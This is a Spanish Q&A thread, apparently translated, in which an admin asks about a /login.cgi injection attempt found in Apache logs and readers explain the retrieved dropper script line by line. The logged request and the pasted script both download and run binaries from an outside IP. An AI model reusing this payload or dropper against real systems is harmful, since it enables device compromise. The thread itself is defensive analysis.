He estado notando en mis servidores registros de apache, las siguientes líneas extrañas últimamente:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Así que hice un filtro Fail2Ban personalizado y comencé a prohibir las direcciones IP que solicitaban estas URL /login.cgi.
Pero tenía curiosidad por saber qué estaban tratando de hacer, así que saqué el guión que intentaban ejecutar y parece que no puedo entender qué hace exactamente. ¿Algo sobre la eliminación de carpetas de archivo en / var y / tmp?
De todos modos, aquí está:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
hxxp://80.211.173.159:80/$name
donde se$name
encuentra cada una de las arquitecturas de CPUbin_names
. Por lo tanto, se descargarán y ejecutarán 7 scripts de ataqueRespuestas:
Linea por linea:
Establece el
sh
shell, cualquiera que sea, como la línea shebang.sh%20/tmp/ks
en la solicitud anula esto, por lo que esta línea se trata como un comentario normal y se ignora.Declara un nombre arbitrario, presumiblemente para evitar chocar con otros nombres de archivo. No estoy seguro de por qué no solo usarían
mktemp
, pero tal vez eso no esté disponible en todas las plataformas.Enumera varias arquitecturas de CPU comunes.
El servidor que tiene el exploit.
Intenta cambiar el directorio a algún lugar donde es probable que su servidor web pueda crear archivos. Creo que SELinux ayudará con esto, aplicando reglas mucho más estrictas sobre lo que el servidor web puede hacer que el sistema de archivos por sí solo.
Para cada arquitectura de CPU ...
Elimina los programas de exploit previamente probados. Innecesario debido a la siguiente línea, por lo que puede ser ignorado.
Copia el ejecutable de shell actual (
/bin/sh
). Se puede ignorar debido a la línea después de la siguiente.Hace que todos tengan acceso completo al nuevo archivo. Esto debería haber sido después del
wget
comando, que es un signo de un novato de scripting de shell o una técnica de dirección errónea.Vacía el archivo. No tiene sentido debido a la siguiente línea.
Sobrescribe el archivo con el script de exploit para esta arquitectura.
-O -> $u
podría haberse escrito-O - > $u
(el guión indica que la descarga debe escribirse en la salida estándar) que es equivalente a-O $u
.Ejecuta el script exploit con la arquitectura como primer argumento.
Termina el ciclo.
Parece que este es un script de intento de exploit trivial, que intenta exploits conocidos en varias plataformas de CPU. No sé por qué se sobrescribe
$u
tres veces, pero esas operaciones podrían ser simplemente restos de una iteración anterior del script. Presumiblemente, esa versión anterior tenía los exploits codificados en lugar de ser servidos dinámicamente; el primero es más fácil pero casi garantiza que el script será menos efectivo con el tiempo a medida que se corrijan los errores.fuente
->
en elwget
comando? ¿Por qué no solowget ... -O $u
?- >
-O->filename
, elfilename
no se muestra en la salida de ps ax . Eso puede ser una ventaja para dificultar la depuración.cp
te da un archivo ejecutable. ¿Posiblemente útil sichmod
falla? Editar: dado que aparentemente esto apunta a enrutadores, es muy posible quechmod
no exista.La
wget
es la línea peligrosa clave.El
for name in $bin_names
está trabajando a través de la lista de plataformas y para cada plataforma en la que se vacía un directorio temporal, la copia de una concha encima y después por lo que es accesible por todos.Luego descarga un archivo usando
wget
y luego lo ejecuta usando el programa shell que acaba de copiar.El script básicamente intenta descargar una serie de ejecutables o scripts para cada plataforma que pueda y frotarlos contra su sistema con la esperanza de que pueda comprometer aún más su sistema.
fuente